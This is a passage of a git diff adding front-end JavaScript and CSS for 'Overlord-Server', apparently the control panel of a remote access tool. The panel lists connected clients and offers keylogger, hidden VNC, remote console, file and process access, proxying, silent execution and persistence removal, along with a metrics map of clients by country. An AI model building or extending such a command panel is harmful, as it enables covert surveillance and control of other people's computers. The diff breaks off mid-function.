+ background: linear-gradient(180deg, rgba(129, 140, 248, 0.88), rgba(34, 211, 238, 0.84));
+}
+
+@media (prefers-reduced-motion: reduce) {
+ *,
+ *::before,
+ *::after {
+ animation-duration: 1ms !important;
+ animation-iteration-count: 1 !important;
+ transition-duration: 1ms !important;
+ scroll-behavior: auto !important;
+ }
+
+ .login-btn,
+ .header-crown,
+ .status-online,
+ .card-animate {
+ animation: none !important;
+ }
+
+ .card-animate {
+ opacity: 1 !important;
+ transform: none !important;
+ }
+}
diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js
new file mode 100644
index 0000000..45bd402
--- /dev/null
+++ b/Overlord-Server/public/assets/main.js
@@ -0,0 +1,590 @@
+import { state } from "./state.js";
+import { debounce } from "./utils.js";
+import { createRenderer } from "./render.js";
+import { openMenu, closeMenu, openModal, wireModalClose, menu } from "./ui.js";
+import {
+ registerRenderer,
+ loadWithOptions,
+ startAutoRefresh,
+ sendCommand,
+ requestPreview,
+ requestThumbnail,
+} from "./data.js";
+
+const grid = document.getElementById("grid");
+const totalPill = document.getElementById("total-pill");
+const pageLabel = document.getElementById("page-label");
+const prevBtn = document.getElementById("prev");
+const nextBtn = document.getElementById("next");
+const searchInput = document.getElementById("search");
+const sortSelect = document.getElementById("sort");
+const filterStatusSelect = document.getElementById("filter-status");
+const filterOsSelect = document.getElementById("filter-os");
+const showOfflineToggle = document.getElementById("toggle-offline");
+const selectAllBtn = document.getElementById("select-all");
+const clearSelectionBtn = document.getElementById("clear-selection");
+const logoutBtn = document.getElementById("logout-btn");
+const usernameDisplay = document.getElementById("username-display");
+const roleBadge = document.getElementById("role-badge");
+const usersLink = document.getElementById("users-link");
+const buildLink = document.getElementById("build-link");
+const deployLink = document.getElementById("deploy-link");
+
+const bulkToolbar = document.getElementById("bulk-toolbar");
+const selectedCountSpan = document.getElementById("selected-count");
+const bulkScreenshotBtn = document.getElementById("bulk-screenshot");
+const bulkDisconnectBtn = document.getElementById("bulk-disconnect");
+const bulkUninstallBtn = document.getElementById("bulk-uninstall");
+const bulkClearBtn = document.getElementById("bulk-clear");
+const selectedClients = new Set();
+let lastNonOnlineStatus = "all";
+
+let currentUser = null;
+let contextCard = null;
+let availableOsList = new Set();
+const setContext = (id) => {
+ contextCard = id;
+};
+const clearContext = () => {
+ contextCard = null;
+};
+
+async function loadCurrentUser() {
+ try {
+ const res = await fetch("/api/auth/me");
+ if (res.ok) {
+ currentUser = await res.json();
+ if (currentUser && currentUser.username && currentUser.role) {
+ if (!usernameDisplay || !roleBadge) {
+ return;
+ }
+ usernameDisplay.textContent = currentUser.username;
+
+ const roleBadges = {
+ admin: ' Admin',
+ operator: ' Operator',
+ viewer: ' Viewer',
+ };
+ if (roleBadges[currentUser.role]) {
+ roleBadge.innerHTML = roleBadges[currentUser.role];
+ } else {
+ roleBadge.textContent = currentUser.role || "";
+ }
+
+ if (currentUser.role === "admin") {
+ roleBadge.classList.add(
+ "bg-purple-900/50",
+ "text-purple-300",
+ "border",
+ "border-purple-800",
+ );
+ } else if (currentUser.role === "operator") {
+ roleBadge.classList.add(
+ "bg-blue-900/50",
+ "text-blue-300",
+ "border",
+ "border-blue-800",
+ );
+ } else {
+ roleBadge.classList.add(
+ "bg-slate-700",
+ "text-slate-300",
+ "border",
+ "border-slate-600",
+ );
+ }
+
+ if (currentUser.role === "admin") {
+ usersLink?.classList.remove("hidden");
+ }
+
+ if (currentUser.role === "admin" || currentUser.role === "operator") {
+ buildLink?.classList.remove("hidden");
+ }
+
+ if (currentUser.role === "admin") {
+ const pluginsLink = document.getElementById("plugins-link");
+ pluginsLink?.classList.remove("hidden");
+ deployLink?.classList.remove("hidden");
+ document.getElementById("menu-silent-exec")?.classList.remove("hidden");
+ }
+
+ const scriptsLink = document.getElementById("scripts-link");
+ if (currentUser.role !== "viewer") {
+ scriptsLink?.classList.remove("hidden");
+ }
+
+ initializeRenderer();
+ }
+
+ initializeRenderer();
+ } else {
+ window.location.href = "/login.html";
+ }
+ } catch (err) {
+ console.error("Failed to load user:", err);
+ }
+}
+
+async function loadPluginsForClient(clientId) {
+ const section = document.getElementById("plugin-section");
+ const container = document.getElementById("plugin-menu");
+ if (!section || !container) return;
+ container.innerHTML = "";
+ section.classList.add("hidden");
+
+ try {
+ const res = await fetch(`/api/clients/${clientId}/plugins`);
+ if (!res.ok) return;
+ const data = await res.json();
+ const plugins = Array.isArray(data.plugins) ? data.plugins : [];
+ if (!plugins.length) return;
+
+ section.classList.remove("hidden");
+ for (const plugin of plugins) {
+ if (plugin.enabled === false) {
+ continue;
+ }
+ const btn = document.createElement("button");
+ btn.className =
+ "w-full text-left px-3 py-2 rounded-lg border border-slate-700 bg-slate-800/60 hover:bg-slate-700 text-slate-100 flex items-center gap-2 justify-between";
+ btn.dataset.plugin = plugin.id;
+ btn.dataset.loaded = plugin.loaded ? "true" : "false";
+ if (plugin.lastError) {
+ btn.title = `Last error: ${plugin.lastError}`;
+ }
+ const label = document.createElement("span");
+ const labelIcon = document.createElement("i");
+ labelIcon.className = "fa-solid fa-puzzle-piece";
+ label.appendChild(labelIcon);
+ label.append(` ${plugin.name || plugin.id}`);
+ const badge = document.createElement("span");
+ badge.className =
+ "text-[10px] uppercase tracking-wider px-2 py-0.5 rounded-full border" +
+ (plugin.loaded
+ ? " border-emerald-600 text-emerald-300 bg-emerald-900/40"
+ : " border-slate-600 text-slate-300 bg-slate-800/60");
+ badge.textContent = plugin.loaded ? "loaded" : "available";
+ btn.appendChild(label);
+ btn.appendChild(badge);
+ container.appendChild(btn);
+
+ if (plugin.loaded) {
+ const unloadBtn = document.createElement("button");
+ unloadBtn.className =
+ "w-full text-left px-3 py-2 rounded-lg border border-red-800 bg-red-900/30 hover:bg-red-800/60 text-red-100 flex items-center gap-2";
+ unloadBtn.dataset.pluginUnload = plugin.id;
+ const unloadIcon = document.createElement("i");
+ unloadIcon.className = "fa-solid fa-plug-circle-xmark";
+ const unloadText = document.createElement("span");
+ unloadText.textContent = `Unload ${plugin.name || plugin.id}`;
+ unloadBtn.appendChild(unloadIcon);
+ unloadBtn.appendChild(unloadText);
+ container.appendChild(unloadBtn);
+ }
+ }
+ } catch {
+ // ignore
+ }
+}
+
+function initializeRenderer() {
+ const { renderMerge } = createRenderer({
+ grid,
+ totalPill,
+ pageLabel,
+ openMenu: (id, x, y) => {
+ openMenu(id, x, y, setContext);
+ loadPluginsForClient(id);
+ },
+ openModal,
+ requestPreview,
+ requestThumbnail,
+ userRole: currentUser?.role,
+ });
+ registerRenderer(renderMerge);
+ loadWithOptions();
+ startAutoRefresh();
+
+ if (typeof anime !== "undefined") {
+ anime
+ .timeline({ easing: "easeOutQuad" })
+ .add({
+ targets: "header",
+ opacity: [0, 1],
+ translateY: [-20, 0],
+ duration: 600,
+ })
+ .add(
+ {
+ targets: "main > div > div:first-child",
+ opacity: [0, 1],
+ translateY: [15, 0],
+ duration: 500,
+ },
+ "-=400",
+ )
+ .add(
+ {
+ targets: "main > div > div:nth-child(2)",
+ opacity: [0, 1],
+ translateY: [15, 0],
+ duration: 500,
+ },
+ "-=350",
+ );
+ }
+}
+
+if (logoutBtn && !logoutBtn.dataset.boundLogout) {
+ logoutBtn.dataset.boundLogout = "true";
+ logoutBtn.addEventListener("click", async () => {
+ if (!confirm("Are you sure you want to logout?")) return;
+
+ try {
+ const res = await fetch("/api/logout", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ });
+
+ if (res.ok) {
+ window.location.href = "/";
+ } else {
+ alert("Logout failed. Please try again.");
+ }
+ } catch (err) {
+ console.error("Logout error:", err);
+ alert("Logout failed. Please try again.");
+ }
+ });
+}
+
+wireModalClose();
+
+const debouncedSearch = debounce(() => {
+ state.page = 1;
+ state.lastDigest = "";
+ loadWithOptions({ force: true });
+}, 200);
+
+searchInput?.addEventListener("input", (e) => {
+ state.searchTerm = e.target.value;
+ debouncedSearch();
+});
+
+sortSelect?.addEventListener("change", (e) => {
+ state.sort = e.target.value;
+ state.page = 1;
+ state.lastDigest = "";
+ loadWithOptions({ force: true });
+});
+
+filterStatusSelect?.addEventListener("change", (e) => {
+ state.filterStatus = e.target.value;
+ if (state.filterStatus === "online") {
+ if (showOfflineToggle) showOfflineToggle.checked = false;
+ } else {
+ lastNonOnlineStatus = state.filterStatus;
+ if (showOfflineToggle) showOfflineToggle.checked = true;
+ }
+ state.page = 1;
+ state.lastDigest = "";
+ loadWithOptions({ force: true });
+});
+
+filterOsSelect?.addEventListener("change", (e) => {
+ state.filterOs = e.target.value;
+ state.page = 1;
+ state.lastDigest = "";
+ loadWithOptions({ force: true });
+});
+
+showOfflineToggle?.addEventListener("change", (e) => {
+ if (e.target.checked) {
+ state.filterStatus = lastNonOnlineStatus || "all";
+ } else {
+ if (state.filterStatus !== "online") {
+ lastNonOnlineStatus = state.filterStatus;
+ }
+ state.filterStatus = "online";
+ }
+ if (filterStatusSelect) {
+ filterStatusSelect.value = state.filterStatus;
+ }
+ state.page = 1;
+ state.lastDigest = "";
+ loadWithOptions({ force: true });
+});
+
+function updateBulkToolbar() {
+ selectedCountSpan.textContent = selectedClients.size;
+ if (selectedClients.size > 0) {
+ bulkToolbar?.classList.remove("hidden");
+ } else {
+ bulkToolbar?.classList.add("hidden");
+ }
+}
+
+function toggleClientSelection(clientId) {
+ const checkbox = document.querySelector(
+ `.client-checkbox[data-id="${clientId}"]`,
+ );
+ if (!checkbox) return;
+
+ if (checkbox.checked) {
+ selectedClients.add(clientId);
+ } else {
+ selectedClients.delete(clientId);
+ }
+ updateBulkToolbar();
+}
+
+function syncSelectionState() {
+ document.querySelectorAll(".client-checkbox").forEach((cb) => {
+ const id = cb.dataset.id;
+ if (!id) return;
+ cb.checked = selectedClients.has(id);
+ });
+ updateBulkToolbar();
+}
+
+bulkClearBtn?.addEventListener("click", () => {
+ selectedClients.clear();
+ document
+ .querySelectorAll(".client-checkbox")
+ .forEach((cb) => (cb.checked = false));
+ updateBulkToolbar();
+});
+
+clearSelectionBtn?.addEventListener("click", () => {
+ selectedClients.clear();
+ document
+ .querySelectorAll(".client-checkbox")
+ .forEach((cb) => (cb.checked = false));
+ updateBulkToolbar();
+});
+
+selectAllBtn?.addEventListener("click", () => {
+ document
+ .querySelectorAll(".client-checkbox:not(:disabled)")
+ .forEach((cb) => {
+ cb.checked = true;
+ if (cb.dataset.id) {
+ selectedClients.add(cb.dataset.id);
+ }
+ });
+ updateBulkToolbar();
+});
+
+bulkScreenshotBtn?.addEventListener("click", async () => {
+ if (!confirm(`Take screenshot on ${selectedClients.size} client(s)?`)) return;
+
+ let success = 0;
+ for (const clientId of selectedClients) {
+ const ok = await sendCommand(clientId, "screenshot");
+ if (ok) success++;
+ }
+
+ alert(`Screenshots sent to ${success}/${selectedClients.size} clients`);
+ selectedClients.clear();
+ document
+ .querySelectorAll(".client-checkbox")
+ .forEach((cb) => (cb.checked = false));
+ updateBulkToolbar();
+ setTimeout(() => loadWithOptions({ force: true }), 400);
+});
+
+bulkDisconnectBtn?.addEventListener("click", async () => {
+ if (
+ !confirm(
+ `Disconnect ${selectedClients.size} client(s)? This will close their connections.`,
+ )
+ )
+ return;
+
+ let success = 0;
+ for (const clientId of selectedClients) {
+ const ok = await sendCommand(clientId, "disconnect");
+ if (ok) success++;
+ }
+
+ alert(`Disconnected ${success}/${selectedClients.size} clients`);
+ selectedClients.clear();
+ document
+ .querySelectorAll(".client-checkbox")
+ .forEach((cb) => (cb.checked = false));
+ updateBulkToolbar();
+ setTimeout(() => loadWithOptions({ force: true }), 1000);
+});
+
+bulkUninstallBtn?.addEventListener("click", async () => {
+ if (
+ !confirm(
+ `Uninstall agent from ${selectedClients.size} client(s)?\n\nThis will remove all persistence mechanisms and terminate the agents. This action cannot be undone.`,
+ )
+ )
+ return;
+
+ let success = 0;
+ for (const clientId of selectedClients) {
+ const ok = await sendCommand(clientId, "uninstall");
+ if (ok) success++;
+ }
+
+ alert(`Uninstall sent to ${success}/${selectedClients.size} clients`);
+ selectedClients.clear();
+ document
+ .querySelectorAll(".client-checkbox")
+ .forEach((cb) => (cb.checked = false));
+ updateBulkToolbar();
+ setTimeout(() => loadWithOptions({ force: true }), 1000);
+});
+
+window.toggleClientSelection = toggleClientSelection;
+window.isClientSelected = (clientId) => selectedClients.has(clientId);
+window.syncClientSelection = syncSelectionState;
+window.banClient = async (clientId) => {
+ if (!clientId) return;
+ if (!confirm(`Ban IP for ${clientId} and block future connections?`)) return;
+ try {
+ const res = await fetch(`/api/clients/${clientId}/ban`, {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ });
+ if (!res.ok) {
+ const data = await res.json().catch(() => ({}));
+ alert(data.error || "Failed to ban client IP");
+ return;
+ }
+ const data = await res.json().catch(() => ({}));
+ alert(`Banned IP ${data.ip || ""}`.trim());
+ setTimeout(() => loadWithOptions({ force: true }), 400);
+ } catch (err) {
+ console.error(err);
+ alert("Failed to ban client IP");
+ }
+};
+
+prevBtn?.addEventListener("click", () => {
+ if (state.page > 1) {
+ state.page -= 1;
+ state.lastDigest = "";
+ loadWithOptions({ force: true });
+ }
+});
+
+nextBtn?.addEventListener("click", () => {
+ state.page += 1;
+ state.lastDigest = "";
+ loadWithOptions({ force: true });
+});
+
+window.addEventListener("click", (e) => {
+ const target = e.target;
+ if (target.closest && target.closest(".command-btn")) return;
+ if (target.closest && target.closest(".modal")) return;
+ if (menu.contains(target)) return;
+ closeMenu(clearContext);
+});
+
+menu.addEventListener("click", async (e) => {
+ const target = e.target.closest("button");
+ if (!target || !contextCard) return;
+ const pluginId = target.dataset.plugin;
+ if (pluginId) {
+ try {
+ const res = await fetch(`/api/clients/${contextCard}/plugins/${pluginId}/load`, {
+ method: "POST",
+ });
+ if (!res.ok) {
+ const text = await res.text();
+ alert(`Plugin load failed: ${text}`);
+ closeMenu(clearContext);
+ return;
+ }
+ window.open(`/plugins/${pluginId}?clientId=${contextCard}`, "_blank", "noopener");
+ } catch (err) {
+ alert("Plugin load failed");
+ }
+ closeMenu(clearContext);
+ return;
+ }
+ const unloadId = target.dataset.pluginUnload;
+ if (unloadId) {
+ await fetch(`/api/clients/${contextCard}/plugins/${unloadId}/unload`, {
+ method: "POST",
+ });
+ closeMenu(clearContext);
+ return;
+ }
+ const open = target.dataset.open;
+ if (open === "console") {
+ window.open(`/${contextCard}/console`, "_blank", "noopener");
+ closeMenu(clearContext);
+ return;
+ }
+ if (open === "remotedesktop") {
+ window.open(`/remotedesktop?clientId=${contextCard}`, "_blank", "noopener");
+ closeMenu(clearContext);
+ return;
+ }
+ if (open === "hvnc") {
+ window.open(`/hvnc?clientId=${contextCard}`, "_blank", "noopener");
+ closeMenu(clearContext);
+ return;
+ }
+ if (open === "files") {
+ window.open(`/${contextCard}/files`, "_blank", "noopener");
+ closeMenu(clearContext);
+ return;
+ }
+ if (open === "processes") {
+ window.open(`/${contextCard}/processes`, "_blank", "noopener");
+ closeMenu(clearContext);
+ return;
+ }
+ if (open === "keylogger") {
+ window.open(`/${contextCard}/keylogger`, "_blank", "noopener");
+ closeMenu(clearContext);
+ return;
+ }
+ if (open === "proxy") {
+ window.open(`/${contextCard}/proxy`, "_blank", "noopener");
+ closeMenu(clearContext);
+ return;
+ }
+ if (open === "silent-exec") {
+ window.open(`/deploy?clientId=${contextCard}`, "_blank", "noopener");
+ closeMenu(clearContext);
+ return;
+ }
+ const action = target.dataset.action;
+
+ if (action === "uninstall") {
+ if (
+ !confirm(
+ `Uninstall agent from ${contextCard}?\n\nThis will remove all persistence mechanisms and terminate the agent. This action cannot be undone.`,
+ )
+ ) {
+ closeMenu(clearContext);
+ return;
+ }
+ } else if (action === "disconnect") {
+ if (
+ !confirm(
+ `Disconnect ${contextCard}?\n\nThis will terminate the agent connection.`,
+ )
+ ) {
+ closeMenu(clearContext);
+ return;
+ }
+ }
+
+ const ok = await sendCommand(contextCard, action);
+ if (ok) {
+ setTimeout(() => loadWithOptions({ force: true }), 400);
+ }
+ closeMenu(clearContext);
+});
+
+loadCurrentUser();
diff --git a/Overlord-Server/public/assets/metrics.js b/Overlord-Server/public/assets/metrics.js
new file mode 100644
index 0000000..2ca5c81
--- /dev/null
+++ b/Overlord-Server/public/assets/metrics.js
@@ -0,0 +1,600 @@
+let clientsChart = null;
+let commandsChart = null;
+let countryMap = null;
+let countriesLayer = null;
+let countryCounts = {};
+let maxCountryCount = 0;
+let latestByCountry = {};
+
+const GEOJSON_URL =
+ "https://cdn.jsdelivr.net/gh/datasets/geo-countries@master/data/countries.geojson";
+
+if (typeof Chart !== "undefined") {
+ Chart.defaults.color = "#cbd5e1";
+ Chart.defaults.borderColor = "rgba(100, 116, 139, 0.25)";
+ Chart.defaults.font.family = "Inter, system-ui, sans-serif";
+}
+
+function initCharts() {
+ const clientsCtx = document.getElementById("clients-chart");
+ const commandsCtx = document.getElementById("commands-chart");
+
+ clientsChart = new Chart(clientsCtx, {
+ type: "line",
+ data: {
+ labels: [],
+ datasets: [
+ {
+ label: "Clients Online",
+ data: [],
+ borderColor: "rgb(96, 165, 250)",
+ backgroundColor: "rgba(96, 165, 250, 0.1)",
+ fill: true,
+ tension: 0.4,
+ },
+ ],
+ },
+ options: {
+ responsive: true,
+ maintainAspectRatio: false,
+ plugins: {
+ legend: { display: false },
+ tooltip: {
+ backgroundColor: "#0f172a",
+ titleColor: "#e2e8f0",
+ bodyColor: "#cbd5e1",
+ borderColor: "#334155",
+ borderWidth: 1,
+ },
+ },
+ scales: {
+ y: {
+ beginAtZero: true,
+ ticks: { color: "#94a3b8", stepSize: 1 },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ x: {
+ ticks: { color: "#94a3b8", maxTicksLimit: 10 },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ },
+ },
+ });
+
+ commandsChart = new Chart(commandsCtx, {
+ type: "line",
+ data: {
+ labels: [],
+ datasets: [
+ {
+ label: "Commands/Min",
+ data: [],
+ borderColor: "rgb(192, 132, 252)",
+ backgroundColor: "rgba(192, 132, 252, 0.1)",
+ fill: true,
+ tension: 0.4,
+ },
+ ],
+ },
+ options: {
+ responsive: true,
+ maintainAspectRatio: false,
+ plugins: {
+ legend: { display: false },
+ tooltip: {
+ backgroundColor: "#0f172a",
+ titleColor: "#e2e8f0",
+ bodyColor: "#cbd5e1",
+ borderColor: "#334155",
+ borderWidth: 1,
+ },
+ },
+ scales: {
+ y: {
+ beginAtZero: true,
+ ticks: { color: "#94a3b8" },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ x: {
+ ticks: { color: "#94a3b8", maxTicksLimit: 10 },
+ grid: { color: "rgba(100, 116, 139, 0.1)" },
+ },
+ },
+ },
+ });
+}
+
+function formatBytes(bytes) {
+ if (bytes === 0) return "0 B";
+ const k = 1024;
+ const sizes = ["B", "KB", "MB", "GB", "TB"];
+ const i = Math.floor(Math.log(bytes) / Math.log(k));
+ return parseFloat((bytes / Math.pow(k, i)).toFixed(2)) + " " + sizes[i];
+}
+
+function escapeHtml(text) {
+ const div = document.createElement("div");
+ div.textContent = text == null ? "" : String(text);
+ return div.innerHTML;
+}
+
+function formatDuration(ms) {
+ const seconds = Math.floor(ms / 1000);
+ const minutes = Math.floor(seconds / 60);
+ const hours = Math.floor(minutes / 60);
+ const days = Math.floor(hours / 24);
+
+ if (days > 0) return `${days}d ${hours % 24}h`;
+ if (hours > 0) return `${hours}h ${minutes % 60}m`;
+ if (minutes > 0) return `${minutes}m ${seconds % 60}s`;
+ return `${seconds}s`;
+}
+
+function formatMs(value) {
+ if (!Number.isFinite(value)) return "0 ms";
+ return `${Math.round(value)} ms`;
+}
+
+function formatTime(timestamp) {
+ const date = new Date(timestamp);
+ return date.toLocaleTimeString("en-US", {
+ hour: "2-digit",
+ minute: "2-digit",
+ });
+}
+
+function animateCounter(element, newValue, duration = 800) {
+ const oldValue = parseInt(element.textContent.replace(/,/g, "")) || 0;
+ if (oldValue === newValue) return;
+
+ const startTime = performance.now();
+ const diff = newValue - oldValue;
+
+ function update(currentTime) {
+ const elapsed = currentTime - startTime;
+ const progress = Math.min(elapsed / duration, 1);
+
+ const easeOutQuad = progress * (2 - progress);
+ const current = Math.round(oldValue + diff * easeOutQuad);
+
+ element.textContent = current.toLocaleString();
+ element.classList.add("counter-animate");
+
+ if (progress < 1) {
+ requestAnimationFrame(update);
+ } else {
+ setTimeout(() => element.classList.remove("counter-animate"), 500);
+ }
+ }
+
+ requestAnimationFrame(update);
+}
+
+function updateMetrics(data, debug) {
+ animateCounter(
+ document.getElementById("clients-online"),
+ data.clients.online,
+ );
+ animateCounter(document.getElementById("clients-total"), data.clients.total);
+
+ const totalSessions =
+ data.sessions.console +
+ data.sessions.remoteDesktop +
+ data.sessions.fileBrowser +
+ data.sessions.process;
+ animateCounter(document.getElementById("active-sessions"), totalSessions);
+
+ animateCounter(
+ document.getElementById("commands-hour"),
+ data.commands.lastHour,
+ );
+ animateCounter(
+ document.getElementById("commands-minute"),
+ data.commands.lastMinute,
+ );
+ animateCounter(
+ document.getElementById("commands-total"),
+ data.commands.total,
+ );
+
+ const totalRate =
+ data.bandwidth.sentPerSecond + data.bandwidth.receivedPerSecond;
+ document.getElementById("bandwidth-rate").textContent =
+ formatBytes(totalRate) + "/s";
+ document.getElementById("bandwidth-sent").textContent = formatBytes(
+ data.bandwidth.sent,
+ );
+ document.getElementById("bandwidth-received").textContent = formatBytes(
+ data.bandwidth.received,
+ );
+
+ document.getElementById("server-uptime").textContent = formatDuration(
+ data.server.uptime,
+ );
+ document.getElementById("server-memory").textContent = formatBytes(
+ data.server.memoryUsage.heapUsed,
+ );
+ const serverRssEl = document.getElementById("server-rss");
+ if (serverRssEl) {
+ serverRssEl.textContent = formatBytes(data.server.memoryUsage.rss);
+ }
+ const serverSystemMemEl = document.getElementById("server-system-memory");
+ if (serverSystemMemEl && data.server.systemMemory) {
+ const used = data.server.systemMemory.used || 0;
+ const total = data.server.systemMemory.total || 0;
+ const percent = data.server.systemMemory.usedPercent || 0;
+ serverSystemMemEl.textContent = `${formatBytes(used)} / ${formatBytes(total)} (${Math.round(percent)}%)`;
+ }
+ const serverCpuEl = document.getElementById("server-cpu-load");
+ if (serverCpuEl && data.server.cpu) {
+ const [l1, l5, l15] = data.server.cpu.loadAvg || [0, 0, 0];
+ const cores = data.server.cpu.cores || 0;
+ serverCpuEl.textContent = `${Number(l1).toFixed(2)} / ${Number(l5).toFixed(2)} / ${Number(l15).toFixed(2)}${cores ? ` (${cores} cores)` : ""}`;
+ }
+ animateCounter(
+ document.getElementById("total-connections"),
+ data.connections.totalConnections,
+ );
+
+ const httpRequestsEl = document.getElementById("http-requests-minute");
+ if (httpRequestsEl) {
+ animateCounter(httpRequestsEl, data.http.lastMinute || 0);
+ }
+ const httpErrorsEl = document.getElementById("http-errors-minute");
+ if (httpErrorsEl) {
+ animateCounter(httpErrorsEl, data.http.lastMinuteErrors || 0);
+ }
+ const httpLatencyAvgEl = document.getElementById("http-latency-avg");
+ if (httpLatencyAvgEl) {
+ httpLatencyAvgEl.textContent = formatMs(data.http.latencyAvg || 0);
+ }
+ const httpLatencyP95El = document.getElementById("http-latency-p95");
+ if (httpLatencyP95El) {
+ httpLatencyP95El.textContent = formatMs(data.http.latencyP95 || 0);
+ }
+ const eventLoopAvgEl = document.getElementById("event-loop-avg");
+ if (eventLoopAvgEl) {
+ eventLoopAvgEl.textContent = formatMs(data.eventLoop.avg || 0);
+ }
+ const eventLoopP95El = document.getElementById("event-loop-p95");
+ if (eventLoopP95El) {
+ eventLoopP95El.textContent = formatMs(data.eventLoop.p95 || 0);
+ }
+ const eventLoopMaxEl = document.getElementById("event-loop-max");
+ if (eventLoopMaxEl) {
+ eventLoopMaxEl.textContent = formatMs(data.eventLoop.max || 0);
+ }
+
+ if (data.ping.count > 0) {
+ document.getElementById("ping-avg").textContent =
+ Math.round(data.ping.avg) + " ms";
+ document.getElementById("ping-min").textContent =
+ Math.round(data.ping.min) + " ms";
+ document.getElementById("ping-max").textContent =
+ Math.round(data.ping.max) + " ms";
+ animateCounter(document.getElementById("ping-count"), data.ping.count);
+ } else {
+ document.getElementById("ping-avg").textContent = "-";
+ document.getElementById("ping-min").textContent = "-";
+ document.getElementById("ping-max").textContent = "-";
+ document.getElementById("ping-count").textContent = "0";
+ }
+
+ const osList = document.getElementById("clients-by-os");
+ if (Object.keys(data.clients.byOS).length > 0) {
+ osList.innerHTML = Object.entries(data.clients.byOS)
+ .sort((a, b) => b[1] - a[1])
+ .map(
+ ([os, count]) => `
+
+ ${escapeHtml(os)}
+ ${count}
+
+ `,
+ )
+ .join("");
+ } else {
+ osList.innerHTML = 'No clients
';
+ }
+
+ const commandTypesList = document.getElementById("command-types");
+ if (Object.keys(data.commands.byType).length > 0) {
+ const topCommands = Object.entries(data.commands.byType)
+ .sort((a, b) => b[1] - a[1])
+ .slice(0, 10);
+
+ commandTypesList.innerHTML = topCommands
+ .map(
+ ([type, count]) => `
+
+
${escapeHtml(type)}
+
${count.toLocaleString()}
+
+ `,
+ )
+ .join("");
+ } else {
+ commandTypesList.innerHTML =
+ 'No commands executed yet
';
+ }
+
+ document.getElementById("last-update").textContent =
+ new Date().toLocaleTimeString();
+
+ updateCountryMap(data.clients.byCountry);
+}
+
+function normalizeCountry(code) {
+ return (code || "").toString().trim().toUpperCase();
+}
+
+function getFeatureCode(feature) {
+ const props = feature?.properties || {};
+ return normalizeCountry(
+ props["ISO3166-1-Alpha-2"] ||
+ props.ISO_A2 ||
+ props.iso_a2 ||
+ props.ISO_A2_EH ||
+ props.iso2 ||
+ props.ISO2 ||
+ props.country_code ||
+ props.countryCode ||
+ props.A2 ||
+ props.abbrev ||
+ props.abbreviation ||
+ feature?.id ||
+ "",
+ );
+}
+
+function getFeatureName(feature) {
+ const props = feature?.properties || {};
+ return (
+ props.NAME ||
+ props.name ||
+ props.ADMIN ||
+ props.admin ||
+ props.Country ||
+ "Unknown"
+ );
+}
+
+function countryFillOpacity(count) {
+ if (maxCountryCount <= 0) return 0.1;
+ const intensity = Math.min(count / maxCountryCount, 1);
+ return 0.1 + intensity * 0.75;
+}
+
+function styleCountry(feature) {
+ const code = getFeatureCode(feature);
+ const count = code ? countryCounts[code] || 0 : 0;
+ return {
+ weight: 0.7,
+ color: "#1e293b",
+ fillColor: "#3b82f6",
+ fillOpacity: countryFillOpacity(count),
+ };
+}
+
+function updateCountryMap(byCountry) {
+ latestByCountry = byCountry || {};
+ countryCounts = {};
+ for (const [code, count] of Object.entries(latestByCountry || {})) {
+ const cc = normalizeCountry(code);
+ if (!cc || cc === "ZZ") continue;
+ countryCounts[cc] = Number(count) || 0;
+ }
+ maxCountryCount = Math.max(0, ...Object.values(countryCounts));
+
+ if (!countriesLayer) return;
+
+ countriesLayer.setStyle(styleCountry);
+ countriesLayer.eachLayer((layer) => {
+ const feature = layer.feature;
+ const code = getFeatureCode(feature) || "--";
+ const name = getFeatureName(feature);
+ const count = code ? countryCounts[code] || 0 : 0;
+ layer.bindTooltip(`${escapeHtml(name)} (${code}): ${count}`, {
+ sticky: true,
+ direction: "auto",
+ });
+ });
+}
+
+async function initCountryMap() {
+ const mapEl = document.getElementById("country-map");
+ if (!mapEl || typeof L === "undefined") return;
+
+ countryMap = L.map(mapEl, {
+ zoomControl: false,
+ attributionControl: false,
+ minZoom: 1,
+ maxZoom: 5,
+ worldCopyJump: true,
+ }).setView([20, 0], 2);
+
+ L.tileLayer(
+ "https://{s}.basemaps.cartocdn.com/dark_all/{z}/{x}/{y}{r}.png",
+ {
+ maxZoom: 5,
+ minZoom: 1,
+ },
+ ).addTo(countryMap);
+
+ try {
+ const res = await fetch(GEOJSON_URL);
+ if (!res.ok) throw new Error("GeoJSON fetch failed");
+ const geojson = await res.json();
+
+ countriesLayer = L.geoJSON(geojson, {
+ style: styleCountry,
+ }).addTo(countryMap);
+
+ updateCountryMap(latestByCountry);
+
+ if (countriesLayer.getBounds) {
+ countryMap.fitBounds(countriesLayer.getBounds(), {
+ padding: [10, 10],
+ });
+ }
+ } catch (err) {
+ console.error("Failed to load country map:", err);
+ mapEl.innerHTML =
+ 'Failed to load map data.
';
+ }
+}
+
+function updateCharts(history, snapshot) {
+ if (history.length === 0) {
+ const now = new Date();
+ const label = formatTime(now.getTime());
+
+ clientsChart.data.labels = [label];
+ clientsChart.data.datasets[0].data = [snapshot.clients.online];
+ clientsChart.update("none");
+
+ commandsChart.data.labels = [label];
+ commandsChart.data.datasets[0].data = [snapshot.commands.lastMinute];
+ commandsChart.update("none");
+ return;
+ }
+
+ const labels = history.map((h) => formatTime(h.timestamp));
+ const clientsData = history.map((h) => h.clientsOnline);
+
+ clientsChart.data.labels = labels;
+ clientsChart.data.datasets[0].data = clientsData;
+ clientsChart.update("none");
+
+ const commandsData = history.map((h) => h.commandsPerMinute);
+
+ commandsChart.data.labels = labels;
+ commandsChart.data.datasets[0].data = commandsData;
+ commandsChart.update("none");
+}
+
+async function fetchMetrics() {
+ try {
+ const response = await fetch("/api/metrics", {
+ credentials: "include",
+ });
+
+ if (response.status === 401) {
+ window.location.href = "/login.html";
+ return;
+ }
+
+ if (!response.ok) {
+ throw new Error("Failed to fetch metrics");
+ }
+
+ const data = await response.json();
+ updateMetrics(data.snapshot, data.debug);
+ updateCharts(data.history, data.snapshot);
+
+ document.getElementById("status-text").textContent = "Live";
+ } catch (err) {
+ console.error("Error fetching metrics:", err);
+ document.getElementById("status-text").textContent = "Error";
+ }
+}
+
+async function checkAuth() {
+ try {
+ const res = await fetch("/api/auth/me", { credentials: "include" });
+ if (!res.ok) {
+ window.location.href = "/login.html";
+ return;
+ }
+
